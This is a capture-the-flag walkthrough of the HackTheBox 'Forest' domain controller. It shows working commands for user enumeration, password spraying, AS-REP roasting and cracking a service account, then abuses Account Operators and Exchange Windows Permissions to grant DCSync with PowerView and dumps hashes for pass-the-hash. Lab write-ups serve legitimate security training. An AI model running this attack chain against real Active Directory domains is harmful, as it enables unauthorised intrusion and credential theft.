Summary
- A Domain Controller machine. Anonymous LDAP is enabled which we use to get a full list of AD users.
- After performing an ASREPRoast attack, we end up with a user that has PowerShell Remoting Access.
- Using BloodHound for Domain Enumeration, we find that the user is member of the Account Operators group which gives him the privilege of adding users to AD groups other than Domain Admins etc.
- We add our user to a group called ‘Exchange Windows Permissions’ which has a write DACL over the domain.
- Abusing this privilege lets us give ourselves the DCSync right over the domain using PowerView which lets us grab all its NTLM hashes
- We use the Domain Administrator’s hash in a simple Pass-the-Hash attack to gain full access.
Nmap
We start off doing a comprehensive nmap scan with default scripts and service detection
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-05 19:09:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49967/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-04-05T19:10:01
|_ start_date: 2022-04-05T18:45:37
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2022-04-05T12:10:02-07:00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 2h26m50s, deviation: 4h02m31s, median: 6m49s
Domain Controller Detected
We find a collection of ports that give us a high probability that this is windows machine and a domain controller:
- DNS on port 53
- Kerberos on port 88
- SMB on port 445
- LDAP on port 636
- Global Catalog on port 3268
- WinRM on port 5985
From the nmap script smb-os-discovery
, the domain name should be htb.local
Fetching a list of all AD users
We want to start enumerating users. So we use an impacket tool called GetADUsers.py
.
The command is:
GetADUsers.py -dc-ip 10.10.10.161 "htb.local/" -all
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Querying 10.10.10.161 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator Administrator@htb.local 2021-08-30 20:51:58.690463 2022-04-05 14:46:24.124409
Guest <never> <never>
DefaultAccount <never> <never>
krbtgt 2019-09-18 06:53:23.467452 <never>
$331000-VK4ADACQNUCA <never> <never>
SM_2c8eef0a09b545acb SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}@htb.local <never> <never>
SM_ca8c2ed5bdab4dc9b SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@htb.local <never> <never>
SM_75a538d3025e4db9a SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}@htb.local <never> <never>
SM_681f53d4942840e18 DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}@htb.local <never> <never>
SM_1b41c9286325456bb Migration.8f3e7716-2011-43e4-96b1-aba62d229136@htb.local <never> <never>
SM_9b69f1b9d2cc45549 FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@htb.local <never> <never>
SM_7c96b981967141ebb SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}@htb.local <never> <never>
SM_c75ee099d0a64c91b SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}@htb.local <never> <never>
SM_1ffab36a2f5f479cb SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}@htb.local <never> <never>
HealthMailboxc3d7722 HealthMailboxc3d7722415ad41a5b19e3e00e165edbe@htb.local 2019-09-23 18:51:31.892097 2019-09-23 18:57:12.361516
HealthMailboxfc9daad HealthMailboxfc9daad117b84fe08b081886bd8a5a50@htb.local 2019-09-23 18:51:35.267114 2019-09-23 18:52:05.736012
HealthMailboxc0a90c9 HealthMailboxc0a90c97d4994429b15003d6a518f3f5@htb.local 2019-09-19 07:56:35.206329 <never>
HealthMailbox670628e HealthMailbox670628ec4dd64321acfdf6e67db3a2d8@htb.local 2019-09-19 07:56:45.643993 <never>
HealthMailbox968e74d HealthMailbox968e74dd3edb414cb4018376e7dd95ba@htb.local 2019-09-19 07:56:56.143969 <never>
HealthMailbox6ded678 HealthMailbox6ded67848a234577a1756e072081d01f@htb.local 2019-09-19 07:57:06.597012 <never>
HealthMailbox83d6781 HealthMailbox83d6781be36b4bbf8893b03c2ee379ab@htb.local 2019-09-19 07:57:17.065809 <never>
HealthMailboxfd87238 HealthMailboxfd87238e536e49e08738480d300e3772@htb.local 2019-09-19 07:57:27.487679 <never>
HealthMailboxb01ac64 HealthMailboxb01ac647a64648d2a5fa21df27058a24@htb.local 2019-09-19 07:57:37.878559 <never>
HealthMailbox7108a4e HealthMailbox7108a4e350f84b32a7a90d8e718f78cf@htb.local 2019-09-19 07:57:48.253341 <never>
HealthMailbox0659cc1 HealthMailbox0659cc188f4c4f9f978f6c2142c4181e@htb.local 2019-09-19 07:57:58.643994 <never>
sebastien 2019-09-19 20:29:59.544725 2019-09-22 18:29:29.586227
lucinda 2019-09-19 20:44:13.233891 <never>
svc-alfresco 2022-04-05 15:18:27.420771 2019-09-23 07:09:47.931194
andy 2019-09-22 18:44:16.291082 <never>
mark 2019-09-20 18:57:30.243568 <never>
santi 2019-09-20 19:02:55.134828 <never>
Because LDAP Anonymous access is enabled, this gets us all the users in the domain. The ones below look organic enough for us to try spraying.
- Administrator
- sebastien
- lucinda
- svc-alfresco
- andy
- mark
- santi
Wordlist generation from common username schemes
Since we need a wordlist, We create a basic one from the most common passwords (like “P@ssw0rd” etc.) and from commonly used password convention schemes like:
- Season + Year
- Season + Year + !
- Season + Special Char + Year
- Company Name + Year
- Company Name + Year + !
- Company Name + Special Char + Year
We will pretend that Forest
is the company name even though it’s a CTF. Because that’s what I would do in a real pentest :D
Also, the year this machine has been launched is 2019. So we will use that year as well as a couple of years around it (2017, 2018, 2020 and 2021).
I write a quick PowerShell
script for this:
$CompanyName = "Forest"
$Seasons = 'Summer', 'Winter', 'Spring', 'Fall'
$Years = 2017..2021
$Special_Chars = '!@#$%^&*'.ToCharArray()
$Wordlist = @()
Foreach($Year in $Years){
$Wordlist += "$CompanyName$Year"
$Wordlist += "$CompanyName$Year!"
Foreach($Season in $Seasons){
$Wordlist += "$Season$Year"
$Wordlist += "$Season$Year!"
Foreach($Char in $Special_Chars){
$Wordlist += "$Season$Char$Year"
$Wordlist += "$CompanyName$Char$Year"
}
}
}
Running that script, I get a list of 370 passwords to try. Not bad :D
..SNIP..
Forest2019
Forest2019!
Summer2019
Summer2019!
Summer!2019
Forest!2019
Summer@2019
Forest@2019
Summer#2019
Forest#2019
Summer$2019
Forest$2019
Summer%2019
..SNIP..
Enumerating domain password policy before password spraying
I then use crackmapexec
to obtain the password policy. We don’t want to lock everyone one out XD
We see that Account Lockout Threshold: None
and Domain Password Lockout Admins: 0
. This is amazing! we can definitely bruteforce without any problems :D
We start the spray using:
crackmapexec smb 10.10.10.161 -u users.txt -p passwords.txt --continue-on-success
But we get no luck with that :/
ASREPRoasting
Having no credentials, we can still try an attack called ASREP Roasting
. This attack would let us grab the hashes of accounts that don’t require Kerberos PreAuthentication.
we run this attack using impacket’s GetNPUsers.py
script:
GetNPUsers.py htb.local/ -usersfile users.txt -format hashcat -outputfile asrep-hashes.txt
This is after we set 10.10.10.161
as our name server in /etc/resolv.conf
. We do this because impacket does DNS lookups in the background.
notice that the user svc-alfresco
doesn’t show in the script console output. I’m not sure why xD but the hash was pushed out to the asrep-hashes.txt
file.
Cracking TGT with John
we use john
to crack the hash and the password for svc-alfresco
turns out to be s3rvice
in case you were wondering, the wordlist I used gegalist.txt
is just one big list of all the passwords on Seclists
(https://github.com/danielmiessler/SecLists/tree/master/Passwords) concatenated and cleaned up. I use it for all hash cracking. It’s only 21,377,691 passwords. Just kidding, it’s a pretty fat list XD
Alright, here is our first set of creds:
- Username: htb.local\svc-alfresco
- Password: s3rvice
Remote Code Execution
We first try to login using crackmapexec
using the SMB
module. But that doesn’t work. This is because svc-alfresco
isn’t a local administrator on the machine. So we try another approach for remote code execution. This time using a tool called evil-winrm
(https://github.com/Hackplayers/evil-winrm)
it works like a charm, this is because we’re a member of the builtin group of Remote Management Users
Privilege Escalation
Right after, we get down to enumeration for privesc
- we look for interesting files in user profiles –> nothing
- we check for interesting directories in
c:\
–> nothing - we check processes –> nothing interesting there
- we check services –> access denied
- we run systeminfo to get information on the kernel –> access denied
- we check for saved creds with
cmdkey /list
–> nothing - we check our privileges with
whoami /privs
–> nothing special there - we run WinPEAS (https://github.com/carlospolop/PEASS-ng) and still don’t find anything
but …
going back to our group memberships, we do find ourselves in quite a few interesting groups:
- Account Operators –> this can let us create AD accounts and add them to groups other than high privilege ones (Administrators, Domain Admins etc.) (https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-accountoperators)
- Privileged IT Accounts –> this is not a standard AD group and we would want to know what those Privileges are :D
- Service Accounts –> this too might be interesting
Domain Enumeration with BloodHound
since we’re in a an Active Directory environment, a standard tool to use is BloodHound
(https://github.com/BloodHoundAD/BloodHound). It can help us identify paths to escalate our privileges inside a domain context. We will use it show us what can be done using the privileges that we hold.
in order to supply bloodhound with the information it needs, we will need to run a tool called SharpHound
(https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors) to collect details about the domain.
We upload it to the machine using evil-winrm
’s upload
function and run it using the -c all
flag to perform all collection methods.
We’re going to transfer the data (20220405150628_BloodHound.zip
) over to our kali machine in order to feed it to bloodhound
.
We do that using impacket’s smbserver.py
and then mount it on the victim machine use the net use
command, moving the .zip
file and then unmounting the share.
afterwards, we upload the file into bloodhound
and start checking what we can do having owned the svc-alfresco
service account. we run the shortest path from owned principles
query:
This query shows us no real path to being a domain admin. So we try another query: Shortest Paths to High Value Targets
Abusing membership in Account Operators
& the high privileges of Exchange Windows Permissions
AD groups
It looks horrible at first. But, after taking a closer look, we notice that our account being in the account operators
group can add a member to a certain group called Exchange Windows Permissions
which happens to have WriteDACL
on htb.local
(The entire domain!). Having that privilege means we can abuse it to give ourselves the DCSync
right that we can use to dump all the domain hashes!
we add our user to that group using a powershell command:
Add-ADGroupMember 'Exchange Windows Permissions' -members 'svc-alfresco'
we then upload PowerView.ps1
(https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) to the victim machine and import it using import-module .\PowerView.ps1
. This enables access to all the powershell cmdlets included within that module.
Checking the help for the Add-DomainObjectAcl
command
we view the help page and usage examples of the abuse command Add-DomainObjectAcl
using Get-Help Add-DomainObjectAcl -Examples
we notice that we need to create a Powershell Credential Object
and run the command to give our user svc-alfresco
DCSync
rights over htb.local
. It should be as below:
$SecPassword = ConvertTo-SecureString 's3rvice'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\svc-alfresco', $SecPassword)
Add-DomainObjectAcl -TargetIdentity "dc=htb,dc=local" -PrincipalIdentity 'HTB.local\svc-alfresco' -Rights DCSync -Credential $Cred -Verbose
This takes a little while to run but we eventually have permission to dump hashes.
And down the hashes go…
We use impacket’s secretsdump.py
and voala! :D
Pass-the-Hash for the win :)
Using the administrator NTLM hash, we can use evil-winrm
to remote inside and we’re done with the box :D